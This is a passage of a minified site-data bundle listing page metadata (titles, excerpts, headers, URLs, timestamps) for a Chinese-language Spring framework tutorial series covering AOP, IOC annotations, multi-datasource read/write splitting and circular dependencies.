],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring注解驱动开发】二狗子让我给他讲讲@EnableAspectJAutoProxy注解",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】二狗子让我给他讲讲@EnableAspectJAutoProxy注解",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"最近,二狗子入职了新公司,新入职的那几天确实有点飘。不过慢慢的,他发现他身边的人各个身怀绝技啊,有Spring源码的贡献者,有Dubbo源码的贡献者,有MyBatis源码的贡献者,还有研究AI的大佬,个个都是大神级别的人物。二狗子有点慌,想起自己虽然入职了,但是比起其他人确实差点远啊。怎么办呢?先从基础补起呗,他发现自己对于Spring的理解还不算太深。于是乎,他让我给他讲讲Spring的@EnableAspectJAutoProxy注解。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring注解驱动开发】二狗子让我给他讲讲@EnableAspectJAutoProxy注解"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-033-%E4%BA%8C%E7%8B%97%E5%AD%90%E8%AE%A9%E6%88%91%E7%BB%99%E4%BB%96%E8%AE%B2%E8%AE%B2@EnableAspectJAutoProxy%E6%B3%A8%E8%A7%A3.html"},{name:"twitter:title",content:"【Spring注解驱动开发】二狗子让我给他讲讲@EnableAspectJAutoProxy注解"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-033-%E4%BA%8C%E7%8B%97%E5%AD%90%E8%AE%A9%E6%88%91%E7%BB%99%E4%BB%96%E8%AE%B2%E8%AE%B2@EnableAspectJAutoProxy%E6%B3%A8%E8%A7%A3.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-033-%E4%BA%8C%E7%8B%97%E5%AD%90%E8%AE%A9%E6%88%91%E7%BB%99%E4%BB%96%E8%AE%B2%E8%AE%B2@EnableAspectJAutoProxy%E6%B3%A8%E8%A7%A3.html",relativePath:"md/core/spring/ioc/2022-04-04-033-二狗子让我给他讲讲@EnableAspectJAutoProxy注解.md",key:"v-48829e62",path:"/md/core/spring/ioc/2022-04-04-033-%E4%BA%8C%E7%8B%97%E5%AD%90%E8%AE%A9%E6%88%91%E7%BB%99%E4%BB%96%E8%AE%B2%E8%AE%B2@EnableAspectJAutoProxy%E6%B3%A8%E8%A7%A3.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"@EnableAspectJAutoProxy注解",slug:"enableaspectjautoproxy注解"},{level:2,title:"调试Spring源码",slug:"调试spring源码"},{level:2,title:"重磅福利",slug:"重磅福利"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring】IOC容器注解汇总,你想要的都在这儿了!!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring】IOC容器注解汇总,你想要的都在这儿了!!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"之前,我们在【Spring】专题中更新了不少关于Spring注解相关的文章,有些小伙伴反馈说,看历史文章的话比较零散,经常会忘记自己看到哪一篇了。当打开一篇新文章时,总感觉自己似乎是看到过了,又感觉自己没有看到过。那怎么办呢?为了小伙伴们查看方便,我在这里将Spring注解的使用方式做个汇总,也算是对之前写的Spring文章的一个总结吧!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring】IOC容器注解汇总,你想要的都在这儿了!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-034-Spring%E4%B8%AD%E7%9A%84%E6%B3%A8%E8%A7%A3%E4%B8%AD%E7%9A%84%E6%B3%A8%E8%A7%A3%E4%BD%BF%E7%94%A8%E6%B1%87%E6%80%BB%EF%BC%8C%E4%BD%A0%E6%83%B3%E8%A6%81%E7%9A%84%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html"},{name:"twitter:title",content:"【Spring】IOC容器注解汇总,你想要的都在这儿了!!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-034-Spring%E4%B8%AD%E7%9A%84%E6%B3%A8%E8%A7%A3%E4%B8%AD%E7%9A%84%E6%B3%A8%E8%A7%A3%E4%BD%BF%E7%94%A8%E6%B1%87%E6%80%BB%EF%BC%8C%E4%BD%A0%E6%83%B3%E8%A6%81%E7%9A%84%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-034-Spring%E4%B8%AD%E7%9A%84%E6%B3%A8%E8%A7%A3%E4%B8%AD%E7%9A%84%E6%B3%A8%E8%A7%A3%E4%BD%BF%E7%94%A8%E6%B1%87%E6%80%BB%EF%BC%8C%E4%BD%A0%E6%83%B3%E8%A6%81%E7%9A%84%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html",relativePath:"md/core/spring/ioc/2022-04-04-034-Spring中的注解中的注解使用汇总,你想要的都在这儿了.md",key:"v-7fdc9e4e",path:"/md/core/spring/ioc/2022-04-04-034-Spring%E4%B8%AD%E7%9A%84%E6%B3%A8%E8%A7%A3%E4%B8%AD%E7%9A%84%E6%B3%A8%E8%A7%A3%E4%BD%BF%E7%94%A8%E6%B1%87%E6%80%BB%EF%BC%8C%E4%BD%A0%E6%83%B3%E8%A6%81%E7%9A%84%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"xml配置与类配置",slug:"xml配置与类配置"},{level:3,title:"1.xml配置",slug:"_1-xml配置"},{level:3,title:"2.类配置",slug:"_2-类配置"},{level:2,title:"@CompentScan注解",slug:"compentscan注解"},{level:3,title:"excludeFilters 属性",slug:"excludefilters-属性"},{level:3,title:"includeFilters属性",slug:"includefilters属性"},{level:3,title:"@ComponentScan.Filter type的类型",slug:"componentscan-filter-type的类型"},{level:3,title:"FilterType.CUSTOM 自定义类型",slug:"filtertype-custom-自定义类型"},{level:2,title:"配置Bean的作用域对象",slug:"配置bean的作用域对象"},{level:3,title:"不指定@Scope",slug:"不指定-scope"},{level:3,title:"@Scope为 prototype",slug:"scope为-prototype"},{level:3,title:"@Scope取值",slug:"scope取值"},{level:2,title:"懒加载",slug:"懒加载"},{level:2,title:"@Conditional条件判断",slug:"conditional条件判断"},{level:2,title:"向IOC 容器添加组件",slug:"向ioc-容器添加组件"},{level:2,title:"Bean的初始化与销毁",slug:"bean的初始化与销毁"},{level:3,title:"指定bean的初始化方法和bean的销毁方法",slug:"指定bean的初始化方法和bean的销毁方法"},{level:3,title:"通过 InitializingBean和DisposableBean实现",slug:"通过-initializingbean和disposablebean实现"},{level:3,title:"通过JSR250规范",slug:"通过jsr250规范"},{level:3,title:"通过BeanPostProcessor实现",slug:"通过beanpostprocessor实现"},{level:3,title:"BeanPostProcessor的执行时机",slug:"beanpostprocessor的执行时机"},{level:3,title:"通过@Value +@PropertySource来给组件赋值",slug:"通过-value-propertysource来给组件赋值"},{level:2,title:"自动装配",slug:"自动装配"},{level:3,title:"@AutoWired的使用",slug:"autowired的使用"},{level:2,title:"XXXAwarce接口",slug:"xxxawarce接口"},{level:2,title:"@Profile注解",slug:"profile注解"},{level:2,title:"重磅福利",slug:"重磅福利"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"为啥你用@JsonFormat注解时,LocalDateTime会反序列化失败?",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"为啥你用@JsonFormat注解时,LocalDateTime会反序列化失败?",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"最近,有个小伙伴问我:我在SpringBoot项目中,使用@JsonFormat注解标注LocalDateTime类型的字段时,LocalDateTime反序列化失败,这个我该怎么处理呢?别急,我们一起来解决这个问题。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"为啥你用@JsonFormat注解时,LocalDateTime会反序列化失败?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-035-%E4%B8%BA%E4%BB%80%E4%B9%88%E4%BD%A0%E7%94%A8@JsonFormat%E6%B3%A8%E8%A7%A3%E6%97%B6%EF%BC%8CLocalDateTime%E4%BC%9A%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%A4%B1%E8%B4%A5.html"},{name:"twitter:title",content:"为啥你用@JsonFormat注解时,LocalDateTime会反序列化失败?"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-035-%E4%B8%BA%E4%BB%80%E4%B9%88%E4%BD%A0%E7%94%A8@JsonFormat%E6%B3%A8%E8%A7%A3%E6%97%B6%EF%BC%8CLocalDateTime%E4%BC%9A%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%A4%B1%E8%B4%A5.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-035-%E4%B8%BA%E4%BB%80%E4%B9%88%E4%BD%A0%E7%94%A8@JsonFormat%E6%B3%A8%E8%A7%A3%E6%97%B6%EF%BC%8CLocalDateTime%E4%BC%9A%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%A4%B1%E8%B4%A5.html",relativePath:"md/core/spring/ioc/2022-04-04-035-为什么你用@JsonFormat注解时,LocalDateTime会反序列化失败.md",key:"v-68c36fb0",path:"/md/core/spring/ioc/2022-04-04-035-%E4%B8%BA%E4%BB%80%E4%B9%88%E4%BD%A0%E7%94%A8@JsonFormat%E6%B3%A8%E8%A7%A3%E6%97%B6%EF%BC%8CLocalDateTime%E4%BC%9A%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%A4%B1%E8%B4%A5.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"小伙伴的疑问",slug:"小伙伴的疑问"},{level:2,title:"解答小伙伴的疑问",slug:"解答小伙伴的疑问"},{level:3,title:"出现问题的版本",slug:"出现问题的版本"},{level:3,title:"解决方法",slug:"解决方法"},{level:2,title:"重磅福利",slug:"重磅福利"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"Spring如何实现多数据源读写分离?这是我看过最详细的一篇!!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"Spring如何实现多数据源读写分离?这是我看过最详细的一篇!!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"很多小伙伴私聊我说:最近他们公司的业务涉及到多个数据源的问题,问我Spring如何实现多数据源的问题。回答这个问题之前,首先需要弄懂什么是多数据源:多数据源就是在同一个项目中,会连接两个甚至多个数据存储,这里的数据存储可以是关系型数据库(比如:MySQL、SQL Server、Oracle),也可以非关系型数据库,比如:HBase、MongoDB、ES等。那么,问题来了,Spring能够实现多数据源吗?并且还要实现读者分离?答案是:必须的,这么强大的Spring,肯定能实现啊!别急,我们就一点点剖析、解决这些问题!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Spring如何实现多数据源读写分离?这是我看过最详细的一篇!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-036-%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E5%A4%9A%E6%95%B0%E6%8D%AE%E6%BA%90%E8%AF%BB%E5%86%99%E5%88%86%E7%A6%BB.html"},{name:"twitter:title",content:"Spring如何实现多数据源读写分离?这是我看过最详细的一篇!!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-036-%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E5%A4%9A%E6%95%B0%E6%8D%AE%E6%BA%90%E8%AF%BB%E5%86%99%E5%88%86%E7%A6%BB.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-036-%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E5%A4%9A%E6%95%B0%E6%8D%AE%E6%BA%90%E8%AF%BB%E5%86%99%E5%88%86%E7%A6%BB.html",relativePath:"md/core/spring/ioc/2022-04-04-036-如何实现多数据源读写分离.md",key:"v-1b3b8e72",path:"/md/core/spring/ioc/2022-04-04-036-%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E5%A4%9A%E6%95%B0%E6%8D%AE%E6%BA%90%E8%AF%BB%E5%86%99%E5%88%86%E7%A6%BB.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"背景",slug:"背景"},{level:2,title:"方案",slug:"方案"},{level:3,title:"应用层解决",slug:"应用层解决"},{level:3,title:"中间件解决",slug:"中间件解决"},{level:2,title:"Spring方案",slug:"spring方案"},{level:3,title:"原理",slug:"原理"},{level:3,title:"DynamicDataSource",slug:"dynamicdatasource"},{level:3,title:"DynamicDataSourceHolder",slug:"dynamicdatasourceholder"},{level:3,title:"DataSourceAspect",slug:"datasourceaspect"},{level:3,title:"配置2个数据源",slug:"配置2个数据源"},{level:3,title:"定义连接池",slug:"定义连接池"},{level:3,title:"定义DataSource",slug:"定义datasource"},{level:2,title:"配置事务管理以及动态切换数据源切面",slug:"配置事务管理以及动态切换数据源切面"},{level:3,title:"定义事务管理器",slug:"定义事务管理器"},{level:3,title:"定义事务策略",slug:"定义事务策略"},{level:3,title:"定义切面",slug:"定义切面"},{level:2,title:"改进切面实现,使用事务策略规则匹配",slug:"改进切面实现-使用事务策略规则匹配"},{level:3,title:"改进后的配置",slug:"改进后的配置"},{level:3,title:"改进后的实现",slug:"改进后的实现"},{level:2,title:"一主多从的实现",slug:"一主多从的实现"},{level:2,title:"实现",slug:"实现"},{level:2,title:"MySQL主从复制",slug:"mysql主从复制"},{level:3,title:"原理",slug:"原理-2"},{level:3,title:"主从配置需要注意的地方",slug:"主从配置需要注意的地方"},{level:3,title:"主库配置(windows,Linux下也类似)",slug:"主库配置-windows-linux下也类似"},{level:3,title:"在主库创建同步用户",slug:"在主库创建同步用户"},{level:3,title:"从库配置",slug:"从库配置"},{level:2,title:"冰河原创PDF",slug:"冰河原创pdf"},{level:2,title:"重磅福利",slug:"重磅福利"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"一张图彻底理解Spring如何解决循环依赖",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"一张图彻底理解Spring如何解决循环依赖",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"最近,在看Spring源码,看到Spring解决循环依赖问题的源码时,不得不说,源码写的太烂了。像Spring这种顶级的项目源码,竟然存在着这种xxx的代码。看了几次都有点头大,相信很多小伙伴都会跟我有一样的感受。怎么办呢?还是踏下心来,慢慢啃源码。最终,我将Spring如何解决循环依赖的源码总结成下面的流程图,这样,根据流程图读源码就清晰多了!!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"一张图彻底理解Spring如何解决循环依赖"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-037-%E4%B8%80%E5%BC%A0%E5%9B%BE%E5%BD%BB%E5%BA%95%E7%90%86%E8%A7%A3Spring%E5%A6%82%E4%BD%95%E8%A7%A3%E5%86%B3%E5%BE%AA%E7%8E%AF%E4%BE%9D%E8%B5%96.html"},{name:"twitter:title",content:"一张图彻底理解Spring如何解决循环依赖"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-037-%E4%B8%80%E5%BC%A0%E5%9B%BE%E5%BD%BB%E5%BA%95%E7%90%86%E8%A7%A3Spring%E5%A6%82%E4%BD%95%E8%A7%A3%E5%86%B3%E5%BE%AA%E7%8E%AF%E4%BE%9D%E8%B5%96.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-037-%E4%B8%80%E5%BC%A0%E5%9B%BE%E5%BD%BB%E5%BA%95%E7%90%86%E8%A7%A3Spring%E5%A6%82%E4%BD%95%E8%A7%A3%E5%86%B3%E5%BE%AA%E7%8E%AF%E4%BE%9D%E8%B5%96.html",relativePath:"md/core/spring/ioc/2022-04-04-037-一张图彻底理解Spring如何解决循环依赖.md",key:"v-abe84b8e",path:"/md/core/spring/ioc/2022-04-04-037-%E4%B8%80%E5%BC%A0%E5%9B%BE%E5%BD%BB%E5%BA%95%E7%90%86%E8%A7%A3Spring%E5%A6%82%E4%BD%95%E8%A7%A3%E5%86%B3%E5%BE%AA%E7%8E%AF%E4%BE%9D%E8%B5%96.html",headers:[{level:2,title:"图解Spring循环依赖",slug:"图解spring循环依赖"},{level:2,title:"冰河原创PDF",slug:"冰河原创pdf"},{level:2,title:"重磅福利",slug:"重磅福利"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"Spring AOP核心类解析,这是最全的一篇了!!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"Spring AOP核心类解析,这是最全的一篇了!!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"最近,不少小伙伴在催更【Spring注解驱动开发】专题,好吧,【Spring注解驱动开发】专题确实有很长时间没更新了。那我们从今天开始更新【Spring注解驱动开发】专题,同样的,我们还是以源码解析为主。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Spring AOP核心类解析,这是最全的一篇了!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-038-AnnotationAwareAspectJAutoProxyCreator%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90.html"},{name:"twitter:title",content:"Spring AOP核心类解析,这是最全的一篇了!!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-038-AnnotationAwareAspectJAutoProxyCreator%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-038-AnnotationAwareAspectJAutoProxyCreator%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90.html",relativePath:"md/core/spring/ioc/2022-04-04-038-AnnotationAwareAspectJAutoProxyCreator源码解析.md",key:"v-5f57271d",path:"/md/core/spring/ioc/2022-04-04-038-AnnotationAwareAspectJAutoProxyCreator%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"类结构图",slug:"类结构图"},{level:2,title:"核心类解析",slug:"核心类解析"},{level:2,title:"生成代理对象",slug:"生成代理对象"},{level:2,title:"冰河原创PDF",slug:"冰河原创pdf"},{level:2,title:"重磅福利",slug:"重磅福利"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"小伙伴们在催更Spring系列,于是我写下了这篇注解汇总!!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"小伙伴们在催更Spring系列,于是我写下了这篇注解汇总!!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"由于在更新其他专题的文章,Spring系列文章有很长一段时间没有更新了,很多小伙伴都在公众号后台留言或者直接私信我微信催更Spring系列文章。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"小伙伴们在催更Spring系列,于是我写下了这篇注解汇总!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-039-%E5%B0%8F%E4%BC%99%E4%BC%B4%E4%BB%AC%E5%9C%A8%E5%82%AC%E6%9B%B4Spring%E7%B3%BB%E5%88%97%EF%BC%8C%E4%BA%8E%E6%98%AF%E6%88%91%E5%86%99%E4%B8%8B%E4%BA%86%E8%BF%99%E7%AF%87%E6%B3%A8%E8%A7%A3%E6%B1%87%E6%80%BB.html"},{name:"twitter:title",content:"小伙伴们在催更Spring系列,于是我写下了这篇注解汇总!!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-039-%E5%B0%8F%E4%BC%99%E4%BC%B4%E4%BB%AC%E5%9C%A8%E5%82%AC%E6%9B%B4Spring%E7%B3%BB%E5%88%97%EF%BC%8C%E4%BA%8E%E6%98%AF%E6%88%91%E5%86%99%E4%B8%8B%E4%BA%86%E8%BF%99%E7%AF%87%E6%B3%A8%E8%A7%A3%E6%B1%87%E6%80%BB.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-039-%E5%B0%8F%E4%BC%99%E4%BC%B4%E4%BB%AC%E5%9C%A8%E5%82%AC%E6%9B%B4Spring%E7%B3%BB%E5%88%97%EF%BC%8C%E4%BA%8E%E6%98%AF%E6%88%91%E5%86%99%E4%B8%8B%E4%BA%86%E8%BF%99%E7%AF%87%E6%B3%A8%E8%A7%A3%E6%B1%87%E6%80%BB.html",relativePath:"md/core/spring/ioc/2022-04-04-039-小伙伴们在催更Spring系列,于是我写下了这篇注解汇总.md",key:"v-06a60f6a",path:"/md/core/spring/ioc/2022-04-04-039-%E5%B0%8F%E4%BC%99%E4%BC%B4%E4%BB%AC%E5%9C%A8%E5%82%AC%E6%9B%B4Spring%E7%B3%BB%E5%88%97%EF%BC%8C%E4%BA%8E%E6%98%AF%E6%88%91%E5%86%99%E4%B8%8B%E4%BA%86%E8%BF%99%E7%AF%87%E6%B3%A8%E8%A7%A3%E6%B1%87%E6%80%BB.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"xml配置与类配置",slug:"xml配置与类配置"},{level:3,title:"1.xml配置",slug:"_1-xml配置"},{level:3,title:"2.类配置",slug:"_2-类配置"},{level:2,title:"@CompentScan注解",slug:"compentscan注解"},{level:3,title:"excludeFilters 属性",slug:"excludefilters-属性"},{level:3,title:"includeFilters属性",slug:"includefilters属性"},{level:3,title:"@ComponentScan.Filter type的类型",slug:"componentscan-filter-type的类型"},{level:3,title:"FilterType.CUSTOM 自定义类型",slug:"filtertype-custom-自定义类型"},{level:2,title:"配置Bean的作用域对象",slug:"配置bean的作用域对象"},{level:3,title:"不指定@Scope",slug:"不指定-scope"},{level:3,title:"@Scope为 prototype",slug:"scope为-prototype"},{level:3,title:"@Scope取值",slug:"scope取值"},{level:2,title:"懒加载",slug:"懒加载"},{level:2,title:"@Conditional条件判断",slug:"conditional条件判断"},{level:2,title:"向IOC 容器添加组件",slug:"向ioc-容器添加组件"},{level:2,title:"Bean的初始化与销毁",slug:"bean的初始化与销毁"},{level:3,title:"指定bean的初始化方法和bean的销毁方法",slug:"指定bean的初始化方法和bean的销毁方法"},{level:3,title:"通过 InitializingBean和DisposableBean实现",slug:"通过-initializingbean和disposablebean实现"},{level:3,title:"通过JSR250规范",slug:"通过jsr250规范"},{level:3,title:"通过BeanPostProcessor实现",slug:"通过beanpostprocessor实现"},{level:3,title:"BeanPostProcessor的执行时机",slug:"beanpostprocessor的执行时机"},{level:3,title:"通过@Value +@PropertySource来给组件赋值",slug:"通过-value-propertysource来给组件赋值"},{level:2,title:"自动装配",slug:"自动装配"},{level:3,title:"@AutoWired的使用",slug:"autowired的使用"},{level:2,title:"XXXAwarce接口",slug:"xxxawarce接口"},{level:2,title:"@Profile注解",slug:"profile注解"},{level:2,title:"冰河原创PDF",slug:"冰河原创pdf"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"一张图带你窥探「Spring注解系列」到底要更新些啥?",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"一张图带你窥探「Spring注解系列」到底要更新些啥?",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"说实话,「Spring注解系列」这个专题的内容是去年开始更新的,期间,基本上已经更新完IOC容器相关的内容了。在即将更新AOP相关的内容时,由于种种原因吧,也有很多小伙伴在微信上催更其他技术文章,导致「Spring注解系列」专题文章停更了。最近很多小伙伴催更「Spring注解系列」专题,那我接下来就将「Spring注解系列」专题的文章更新完吧。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"一张图带你窥探「Spring注解系列」到底要更新些啥?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-040-%E4%B8%80%E5%BC%A0%E5%9B%BE%E5%B8%A6%E4%BD%A0%E7%AA%A5%E6%8E%A2%E3%80%8CSpring%E6%B3%A8%E8%A7%A3%E7%B3%BB%E5%88%97%E3%80%8D%E4%B8%93%E9%A2%98%E5%88%B0%E5%BA%95%E8%A6%81%E6%9B%B4%E6%96%B0%E4%BA%9B%E5%95%A5.html"},{name:"twitter:title",content:"一张图带你窥探「Spring注解系列」到底要更新些啥?"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-040-%E4%B8%80%E5%BC%A0%E5%9B%BE%E5%B8%A6%E4%BD%A0%E7%AA%A5%E6%8E%A2%E3%80%8CSpring%E6%B3%A8%E8%A7%A3%E7%B3%BB%E5%88%97%E3%80%8D%E4%B8%93%E9%A2%98%E5%88%B0%E5%BA%95%E8%A6%81%E6%9B%B4%E6%96%B0%E4%BA%9B%E5%95%A5.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-040-%E4%B8%80%E5%BC%A0%E5%9B%BE%E5%B8%A6%E4%BD%A0%E7%AA%A5%E6%8E%A2%E3%80%8CSpring%E6%B3%A8%E8%A7%A3%E7%B3%BB%E5%88%97%E3%80%8D%E4%B8%93%E9%A2%98%E5%88%B0%E5%BA%95%E8%A6%81%E6%9B%B4%E6%96%B0%E4%BA%9B%E5%95%A5.html",relativePath:"md/core/spring/ioc/2022-04-04-040-一张图带你窥探「Spring注解系列」专题到底要更新些啥.md",key:"v-5f6445d4",path:"/md/core/spring/ioc/2022-04-04-040-%E4%B8%80%E5%BC%A0%E5%9B%BE%E5%B8%A6%E4%BD%A0%E7%AA%A5%E6%8E%A2%E3%80%8CSpring%E6%B3%A8%E8%A7%A3%E7%B3%BB%E5%88%97%E3%80%8D%E4%B8%93%E9%A2%98%E5%88%B0%E5%BA%95%E8%A6%81%E6%9B%B4%E6%96%B0%E4%BA%9B%E5%95%A5.html",headers:[{level:2,title:"冰河原创PDF",slug:"冰河原创pdf"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"Spring中这么重要的AnnotationAwareAspectJAutoProxyCreator类是干嘛的?",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"Spring中这么重要的AnnotationAwareAspectJAutoProxyCreator类是干嘛的?",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"停更了很久的【Spring注解系列】专题,终于重新更新了,我们还是接着之前的文章继续往下更新。在《[【Spring注解驱动开发】二狗子让我给他讲讲@EnableAspectJAutoProxy注解](https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489210&idx=1&sn=becc26b4b2d681007bfa52ce2448eed5&chksm=cf55a1bbf82228ada0bd72aec8670bf774918b7bbaa2613baa59d77008566400a75b7d5be6a9&token=464268589&lang=zh_CN#rd)》一文中,我们通过查看`@EnableAspectJAutoProxy` 注解的源码,如下所示。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Spring中这么重要的AnnotationAwareAspectJAutoProxyCreator类是干嘛的?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-041-AnnotationAwareAspectJAutoProxyCreator%E7%B1%BB%E7%9A%84%E8%B0%83%E7%94%A8%E6%B5%81%E7%A8%8B%E6%98%AF%E5%95%A5.html"},{name:"twitter:title",content:"Spring中这么重要的AnnotationAwareAspectJAutoProxyCreator类是干嘛的?"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-041-AnnotationAwareAspectJAutoProxyCreator%E7%B1%BB%E7%9A%84%E8%B0%83%E7%94%A8%E6%B5%81%E7%A8%8B%E6%98%AF%E5%95%A5.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-041-AnnotationAwareAspectJAutoProxyCreator%E7%B1%BB%E7%9A%84%E8%B0%83%E7%94%A8%E6%B5%81%E7%A8%8B%E6%98%AF%E5%95%A5.html",relativePath:"md/core/spring/ioc/2022-04-04-041-AnnotationAwareAspectJAutoProxyCreator类的调用流程是啥.md",key:"v-2024d00d",path:"/md/core/spring/ioc/2022-04-04-041-AnnotationAwareAspectJAutoProxyCreator%E7%B1%BB%E7%9A%84%E8%B0%83%E7%94%A8%E6%B5%81%E7%A8%8B%E6%98%AF%E5%95%A5.html",headers:[{level:2,title:"分析AbstractAutoProxyCreator类",slug:"分析abstractautoproxycreator类"},{level:2,title:"分析AbstractAdvisorAutoProxyCreator类",slug:"分析abstractadvisorautoproxycreator类"},{level:2,title:"分析AspectJAwareAdvisorAutoProxyCreator类",slug:"分析aspectjawareadvisorautoproxycreator类"},{level:2,title:"分析AnnotationAwareAspectJAutoProxyCreator类",slug:"分析annotationawareaspectjautoproxycreator类"},{level:2,title:"冰河原创PDF",slug:"冰河原创pdf"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/